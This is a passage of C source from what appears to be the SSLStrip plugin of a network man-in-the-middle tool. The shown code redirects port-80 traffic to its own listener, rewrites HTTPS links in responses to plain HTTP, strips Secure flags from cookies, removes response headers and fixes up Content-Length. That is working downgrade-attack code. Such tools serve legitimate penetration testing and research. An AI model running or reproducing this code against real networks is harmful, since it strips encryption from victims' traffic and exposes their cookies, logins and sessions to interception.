  906    packet_disp_data(po, po->DATA.data, po->DATA.len);
  907 
  908    DEBUG_MSG("SSLStrip: Calling parser for response");
  909    http_parse_packet(connection, HTTP_SERVER, po);
  910 
  911    //Free up request
  912    if (connection->request->headers) {
  913       curl_slist_free_all(connection->request->headers);
  914       connection->request->headers = NULL;
  915    }
  916    
  917 
  918    if (connection->request->method == HTTP_POST) {
  919       SAFE_FREE(connection->request->payload);
  920    }
  921 
  922    SAFE_FREE(connection->request->url);
  923 
  924    SAFE_FREE(url);
  925 
  926    if(connection->handle) {
  927       curl_easy_cleanup(connection->handle);
  928       curl_global_cleanup();
  929       connection->handle = NULL;
  930    }
  931 
  932    DEBUG_MSG("SSLStrip: Done");
  933 }
  934 
  935 static int http_write(int fd, char *ptr, unsigned long int total_len)
  936 {
  937    int len, err;
  938    unsigned int bytes_sent = 0;
  939    int bytes_remaining = total_len;
  940 
  941    DEBUG_MSG("SSLStrip: Total length %lu", total_len);
  942 
  943    while (bytes_sent < total_len) {
  944 
  945       if(!ptr)
  946          break;
  947       len = write(fd, ptr+bytes_sent, bytes_remaining);
  948 
  949       if (len <= 0) {
  950          err = GET_SOCK_ERRNO();
  951          DEBUG_MSG("http_write: SOCK ERR: %d", err);
  952          if (err != EAGAIN && err != EINTR)
  953             return -E_INVALID;
  954       }
  955 
  956       DEBUG_MSG("SSLStrip: Sent %d bytes", len);
  957    
  958       bytes_sent += len;
  959       bytes_remaining -= len;
  960 
  961       DEBUG_MSG("SSLStrip: Bytes sent %d", bytes_sent);
  962       ec_usleep(MILLI2MICRO(100)); // 100ms
  963 
  964    
  965    }
  966 
  967    return E_SUCCESS;
  968 }
  969 
  970 #if 0
  971 static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream)
  972 {
  973    struct packet_object *po = (struct packet_object *)stream;
  974 
  975    DEBUG_MSG("SSLStrip: PO LEN : %ld Size: %ld", po->DATA.len, (size*nmemb));
  976    DEBUG_MSG("SSLStrip: Copying %s", po->DATA.data);
  977    if ((size*nmemb) < po->DATA.len) {   
  978       memcpy(ptr, po->DATA.data, size*nmemb);
  979       return size*nmemb;
  980    } else {
  981       memcpy(ptr, po->DATA.data, po->DATA.len);
  982       return po->DATA.len;
  983    }
  984 }
  985 #endif
  986 
  987 
  988 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata)
  989 {
  990    struct http_connection *connection = (struct http_connection *)userdata;
  991 
  992 
  993    if (connection->response->len == 0) {
  994       //Initiailize buffer
  995       SAFE_CALLOC(connection->response->html, 1, size*nmemb);
  996       if (connection->response->html == NULL)
  997          return 0;
  998 
  999       memcpy(connection->response->html, ptr, size*nmemb);
 1000    } else {
 1001       char *b;
 1002 
 1003       SAFE_CALLOC(b, 1, connection->response->len+(size*nmemb));
 1004       BUG_IF(b == NULL);
 1005    
 1006       memcpy(b, connection->response->html, connection->response->len);   
 1007       memcpy(b+connection->response->len, ptr, size*nmemb);
 1008 
 1009       SAFE_FREE(connection->response->html);
 1010       connection->response->html = b;
 1011 
 1012       //SAFE_REALLOC(connection->response->html, connection->response->len + (size*nmemb));
 1013    }
 1014 
 1015    connection->response->len += (size*nmemb);
 1016    //connection->response->html[connection->response->len] = '\0';
 1017 
 1018 
 1019    return size*nmemb;
 1020 }
 1021 
 1022 EC_THREAD_FUNC(http_child_thread)
 1023 {
 1024    struct packet_object po;
 1025    int  ret_val;
 1026    struct http_connection *connection;
 1027 
 1028    connection = (struct http_connection *)args;
 1029    ec_thread_init();
 1030 
 1031    /* Get peer and set to non-blocking */
 1032    if (http_sync_conn(connection) == -E_INVALID) {
 1033       DEBUG_MSG("SSLStrip: Could not get peer!!");
 1034       if (connection->fd != -1)
 1035          close_socket(connection->fd);
 1036       SAFE_FREE(connection->response);
 1037       SAFE_FREE(connection->request);
 1038       SAFE_FREE(connection);   
 1039       ec_thread_exit();
 1040    }
 1041 
 1042 
 1043    /* A fake SYN ACK for profiles */
 1044    http_initialize_po(&po, NULL, 0);
 1045    po.len = 64;
 1046    po.L4.flags = (TH_SYN | TH_ACK);
 1047    packet_disp_data(&po, po.DATA.data, po.DATA.len);
 1048    http_parse_packet(connection, HTTP_SERVER, &po);
 1049    http_initialize_po(&po, po.DATA.data, po.DATA.len);
 1050 
 1051    
 1052    LOOP {
 1053       http_initialize_po(&po, NULL, 0);
 1054       ret_val = http_read(connection, &po);
 1055       DEBUG_MSG("SSLStrip: Returned %d", ret_val);
 1056       BREAK_ON_ERROR(ret_val, connection, po);
 1057 
 1058       if (ret_val == E_SUCCESS)  {
 1059          /* Look in the https_links list and if the url matches, send to HTTPS server.
 1060             Otherwise send to HTTP server */
 1061               po.len = po.DATA.len;
 1062               po.L4.flags |= TH_PSH;
 1063 
 1064          /* NULL terminate buffer */
 1065          po.DATA.data[po.DATA.len] = 0;
 1066 
 1067          packet_destroy_object(&po);
 1068               packet_disp_data(&po, po.DATA.data, po.DATA.len);
 1069 
 1070               //DEBUG_MSG("SSLStrip: Calling parser for request");
 1071               http_parse_packet(connection, HTTP_CLIENT, &po);
 1072 
 1073          http_handle_request(connection, &po);
 1074       }
 1075       
 1076    }
 1077 
 1078    return NULL;
 1079    
 1080 }
 1081 
 1082 static void http_remove_https(struct http_connection *connection)
 1083 {
 1084    char *buf_cpy = connection->response->html;
 1085    size_t https_len = strlen("https://");
 1086    size_t http_len = strlen("http://");
 1087    struct https_link *l, *link;
 1088    size_t offset = 0;
 1089    int rc;
 1090    int ovector[30];
 1091    char changed = 0;
 1092    char *new_html, *url;
 1093    size_t new_size = 0;
 1094    size_t size = connection->response->len;
 1095    int url_len, match_start, match_end = 0;
 1096 
 1097    if(!buf_cpy)
 1098       return;
 1099 
 1100    SAFE_CALLOC(new_html, 1, connection->response->len);
 1101    BUG_IF(new_html==NULL);
 1102 
 1103    while(offset < size && (rc = pcre_exec(https_url_pcre, NULL, buf_cpy, size, offset, 0, ovector, 30)) > 0) {
 1104       match_start = ovector[0];
 1105       match_end = ovector[1];
 1106 
 1107       /* copy 1:1 up to match */
 1108       memcpy(new_html + new_size, buf_cpy + offset, match_start - offset);
 1109       new_size += match_start - offset;
 1110 
 1111       /* extract URL w/o https:// */
 1112       url_len = match_end - match_start - https_len;
 1113       url = strndup(buf_cpy + match_start + https_len, url_len);
 1114 
 1115       if(url == NULL)
 1116       {
 1117          USER_MSG("SSLStrip: http_remove_https: url is NULL\n");
 1118          return;
 1119       }
 1120 
 1121       /* copy "http://" */
 1122       memcpy(new_html + new_size, "http://", http_len);
 1123       new_size += http_len;
 1124 
 1125       /* append URL */
 1126       memcpy(new_html + new_size, url, url_len);
 1127       new_size += url_len;
 1128 
 1129       /* set new offset for next round */
 1130       offset = match_end;
 1131 
 1132       //Add URL to list
 1133 
 1134       char found = 0;
 1135       LIST_LOCK;
 1136       LIST_FOREACH(link, &https_links, next) {
 1137          if(!strcmp(link->url, url)) {
 1138             found=1;
 1139             break;
 1140          }   
 1141       }      
 1142 
 1143       LIST_UNLOCK;
 1144 
 1145       if(!found) {
 1146          SAFE_CALLOC(l, 1, sizeof(struct https_link));
 1147          BUG_IF(l==NULL);
 1148 
 1149          SAFE_CALLOC(l->url, 1, 1 + url_len);
 1150          BUG_IF(l->url==NULL);
 1151          memcpy(l->url, url, url_len);
 1152          Decode_Url((u_char *)l->url);
 1153          l->last_used = time(NULL);
 1154          DEBUG_MSG("SSLStrip: Inserting %s to HTTPS List", l->url);
 1155          LIST_INSERT_HEAD(&https_links, l, next);
 1156       }
 1157 
 1158       SAFE_FREE(url);
 1159       
 1160       if (!changed)
 1161          changed=1;
 1162    }
 1163 
 1164    
 1165    if (changed) {
 1166       //Copy rest of data (if any)
 1167       memcpy(new_html + new_size, buf_cpy + offset, size - offset);
 1168       new_size += size - offset;
 1169 
 1170       /* replace response */
 1171       SAFE_FREE(connection->response->html);   
 1172       connection->response->html = new_html;
 1173       connection->response->len = new_size;   
 1174    } else {
 1175       /* Thanks but we don't need it */
 1176       SAFE_FREE(new_html);
 1177    }
 1178 
 1179    /* Iterate through all http_request and remove any that have not been used lately */
 1180    struct https_link *link_tmp;
 1181    time_t now = time(NULL);
 1182 
 1183    LIST_LOCK;
 1184 
 1185    LIST_FOREACH_SAFE(l, &https_links, next, link_tmp) {
 1186       if(now - l->last_used >= REQUEST_TIMEOUT) {
 1187          LIST_REMOVE(l, next);
 1188          SAFE_FREE(l);
 1189       }
 1190    }
 1191    
 1192    LIST_UNLOCK;
 1193 
 1194 }
 1195 
 1196 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po)
 1197 {
 1198    FUNC_DECODER_PTR(start_decoder);
 1199    int len;
 1200 
 1201    memcpy(&po->L3.src, &connection->ip[direction], sizeof(struct ip_addr));
 1202    memcpy(&po->L3.dst, &connection->ip[!direction], sizeof(struct ip_addr));
 1203    
 1204    po->L4.src = connection->port[direction];
 1205    po->L4.dst = connection->port[!direction];
 1206 
 1207    po->flags |= PO_FROMSSLSTRIP;   
 1208    /* get time */
 1209    gettimeofday(&po->ts, NULL);
 1210 
 1211    switch(ip_addr_is_local(&PACKET->L3.src, NULL)) {
 1212       case E_SUCCESS:
 1213          PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL);
 1214          PACKET->PASSIVE.flags |= FP_HOST_LOCAL;
 1215          break;
 1216       case -E_NOTFOUND:
 1217          PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL;
 1218          PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL;
 1219          break;
 1220       case -E_INVALID:
 1221          PACKET->PASSIVE.flags = FP_UNKNOWN;
 1222          break;
 1223    }
 1224 
 1225    /* let's start fromt he last stage of decoder chain */
 1226 
 1227    //DEBUG_MSG("SSLStrip: Parsing %s", po->DATA.data);
 1228    start_decoder = get_decoder(APP_LAYER, PL_DEFAULT);
 1229    start_decoder(po->DATA.data, po->DATA.len, &len, po);
 1230 }
 1231 
 1232 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len)
 1233 {
 1234    /* 
 1235     * Allocate the data buffer and initialize 
 1236     * fake headers. Headers len is set to 0.
 1237     * XXX - Be sure to not modify these len.
 1238     */
 1239 
 1240    
 1241    memset(po, 0, sizeof(struct packet_object));
 1242 
 1243    if (p_data == NULL) {
 1244       SAFE_FREE(po->DATA.data);
 1245       SAFE_CALLOC(po->DATA.data, 1, HTTP_MAX);
 1246       po->DATA.len = HTTP_MAX;
 1247       BUG_IF(po->DATA.data==NULL);
 1248    } else {
 1249       SAFE_FREE(po->DATA.data);
 1250       po->DATA.data = p_data;
 1251       po->DATA.len = len;
 1252    }
 1253 
 1254    po->L2.header  = po->DATA.data;
 1255    po->L3.header  = po->DATA.data;
 1256    po->L3.options = po->DATA.data;
 1257    po->L4.header  = po->DATA.data;
 1258    po->L4.options = po->DATA.data;
 1259    po->fwd_packet = po->DATA.data;
 1260    po->packet     = po->DATA.data;
 1261 
 1262    po->L3.proto = htons(LL_TYPE_IP);
 1263    po->L3.ttl = 64;
 1264    po->L4.proto = NL_TYPE_TCP;
 1265 
 1266 }
 1267 /* main HTTP listen thread, this will accept connections
 1268  * destined to port 80  */
 1269 
 1270 static int http_bind_wrapper(void)
 1271 {
 1272    bind_port = EC_MAGIC_16;
 1273    struct sockaddr_in sa_in;
 1274 #ifdef WITH_IPV6
 1275    struct sockaddr_in6 sa_in6;
 1276    int optval = 1;
 1277 #endif
 1278 
 1279    ec_thread_init();
 1280 
 1281    DEBUG_MSG("http_listen_thread: initialized and ready");
 1282    
 1283    main_fd = socket(AF_INET, SOCK_STREAM, 0);
 1284    if (main_fd == -1) { /* oops, unable to create socket */
 1285       DEBUG_MSG("Unable to create socket() for HTTP...");
 1286       return -E_FATAL;
 1287    }
 1288    memset(&sa_in, 0, sizeof(sa_in));
 1289    sa_in.sin_family = AF_INET;
 1290    sa_in.sin_addr.s_addr = INADDR_ANY;
 1291 
 1292    do {
 1293       bind_port++;
 1294       sa_in.sin_port = htons(bind_port);   
 1295    } while (bind(main_fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0);
 1296 
 1297    if(listen(main_fd, 100) == -1) {
 1298       DEBUG_MSG("SSLStrip plugin: unable to listen() on socket");
 1299       return -E_FATAL;
 1300    }
 1301 
 1302 #ifdef WITH_IPV6
 1303    /* create & bind IPv6 socket on the same port */
 1304    main_fd6 = socket(AF_INET6, SOCK_STREAM, 0);
 1305    if (main_fd6 == -1) { /* unable to create socket */
 1306       DEBUG_MSG("SSLStrip: Unable to create socket() for HTTP over IPv6: %s.", 
 1307             strerror(errno));
 1308       return -E_FATAL;
 1309    }
 1310    memset(&sa_in6, 0, sizeof(sa_in6));
 1311    sa_in6.sin6_family = AF_INET6;
 1312    sa_in6.sin6_addr = in6addr_any;
 1313    sa_in6.sin6_port = htons(bind_port);
 1314 
 1315    /* we only listen on v6 as we use dedicated sockets per AF */
 1316    if (setsockopt(main_fd6, IPPROTO_IPV6, IPV6_V6ONLY, 
 1317             &optval, sizeof(optval)) == -1) {
 1318       DEBUG_MSG("SSLStrip: Unable to set IPv6 socket to IPv6 only: %s.",
 1319             strerror(errno));
 1320       return -E_FATAL;
 1321    }
 1322 
 1323    /* bind to IPv6 on the same port as the IPv4 socket */
 1324    if (bind(main_fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) {
 1325       DEBUG_MSG("SSLStrip: Unable to bind() IPv6 socket to port %d: %s.", 
 1326             bind_port, strerror(errno));
 1327       return -E_FATAL;
 1328    }
 1329 
 1330    /* finally set socket into listen state */
 1331    if (listen(main_fd6, 100) == -1) {
 1332       DEBUG_MSG("SSLStrip: Unable to listen() on IPv6 socket: %s.", 
 1333             strerror(errno));
 1334       return -E_FATAL;
 1335    }
 1336 #else
 1337    /* properly init fd even when not used - necessary for select call */
 1338    main_fd6 = 0;
 1339 #endif
 1340 
 1341    USER_MSG("SSLStrip plugin: bind 80 on %d\n", bind_port);
 1342    
 1343    if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV4,
 1344             NULL, 80, bind_port) != E_SUCCESS)
 1345       return -E_FATAL;
 1346 
 1347 #ifdef WITH_IPV6
 1348    if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV6,
 1349             NULL, 80, bind_port) != E_SUCCESS)
 1350       return -E_FATAL;
 1351 #endif
 1352 
 1353    return E_SUCCESS;
 1354 
 1355 }
 1356 
 1357 static void http_wipe_connection(struct http_connection *connection)
 1358 {
 1359    DEBUG_MSG("SSLStrip: http_wipe_connection");
 1360    close_socket(connection->fd);
 1361 
 1362    SAFE_FREE(connection->response->html);
 1363    SAFE_FREE(connection->request->payload);
 1364    SAFE_FREE(connection->request->url);
 1365    SAFE_FREE(connection->request);
 1366    SAFE_FREE(connection->response);
 1367    SAFE_FREE(connection);
 1368 }
 1369 
 1370 void http_remove_header(char *header, struct http_connection *connection) {
 1371    DEBUG_MSG("SSLStrip: http_remove_header");
 1372    if (strstr(connection->response->html, header)) {
 1373       char *r = strdup(connection->response->html);
 1374       size_t len = strlen(connection->response->html);
 1375 
 1376       if(r == NULL)
 1377       {
 1378          USER_MSG("SSLStrip: http_remove_header: r is NULL\n");
 1379          return;
 1380       }
 1381 
 1382       char *b = strstr(r, header);
 1383       char *end = strstr(b, "\r\n");
 1384       end += 2;
 1385 
 1386       int header_length = end - b;
 1387       len -= header_length;
 1388 
 1389       int start = b - r;
 1390       char *remaining = strdup(end);
 1391       BUG_IF(remaining==NULL);
 1392 
 1393       memcpy(r+start, remaining, strlen(remaining));
 1394       SAFE_FREE(connection->response->html);
 1395 
 1396       connection->response->html = strndup(r, len);
 1397       if(connection->response->html == NULL)
 1398       {
 1399          USER_MSG("SSLStrip: http_remove_header: connection->response->html is NULL\n");
 1400          return;
 1401       }
 1402 
 1403       connection->response->len = len;
 1404    
 1405       SAFE_FREE(remaining);
 1406       SAFE_FREE(r);
 1407    }
 1408 }
 1409 
 1410 void http_remove_secure_from_cookie(struct http_connection *connection) {
 1411    if (!strstr(connection->response->html, "Set-Cookie")) {
 1412       return;
 1413    }
 1414    
 1415    size_t newlen = 0;
 1416    size_t pos = 0;
 1417    char *buf_cpy = connection->response->html;
 1418    char *new_html;
 1419 
 1420    SAFE_CALLOC(new_html, 1, connection->response->len);
 1421    char changed = 0;
 1422 
 1423    regmatch_t match[4];
 1424 
 1425    while(!regexec(&find_cookie_re, buf_cpy, 4, match, REG_NOTBOL)) {
 1426       memcpy(new_html+newlen, buf_cpy, match[1].rm_eo);
 1427       newlen += match[1].rm_eo;
 1428       
 1429       memcpy(new_html+newlen, buf_cpy+match[3].rm_so, match[3].rm_eo - match[3].rm_so);
 1430       newlen += match[3].rm_eo - match[3].rm_so;
 1431       
 1432       buf_cpy += match[0].rm_eo-2;
 1433       pos += match[0].rm_eo-2;
 1434       changed=1;
 1435    }
 1436 
 1437    if (changed) {
 1438       memcpy(new_html+newlen, buf_cpy, connection->response->len - pos);
 1439       newlen += connection->response->len - pos;
 1440 
 1441       SAFE_FREE(connection->response->html);
 1442 
 1443       connection->response->html = new_html;
 1444       connection->response->len = newlen;
 1445    } else {
 1446       SAFE_FREE(new_html);
 1447    }
 1448 }
 1449 
 1450 void http_update_content_length(struct http_connection *connection) {
 1451    if (strstr(connection->response->html, "Content-Length: ")) {
 1452       char *buf = connection->response->html;
 1453       char *content_length = strstr(connection->response->html, "Content-Length:");
 1454       content_length += strlen("Content-Length: ");
 1455 
 1456       char c_length[20];
 1457       memset(&c_length, '\0', 20);
 1458       snprintf(c_length, 20, "%lu", connection->response->len - (strstr(buf, "\r\n\r\n") + 4 - buf));
 1459 
 1460       memcpy(buf+(content_length-buf), c_length, strlen(c_length));
 1461    }
 1462 }
 1463 
 1464 // vim:ts=3:expandtab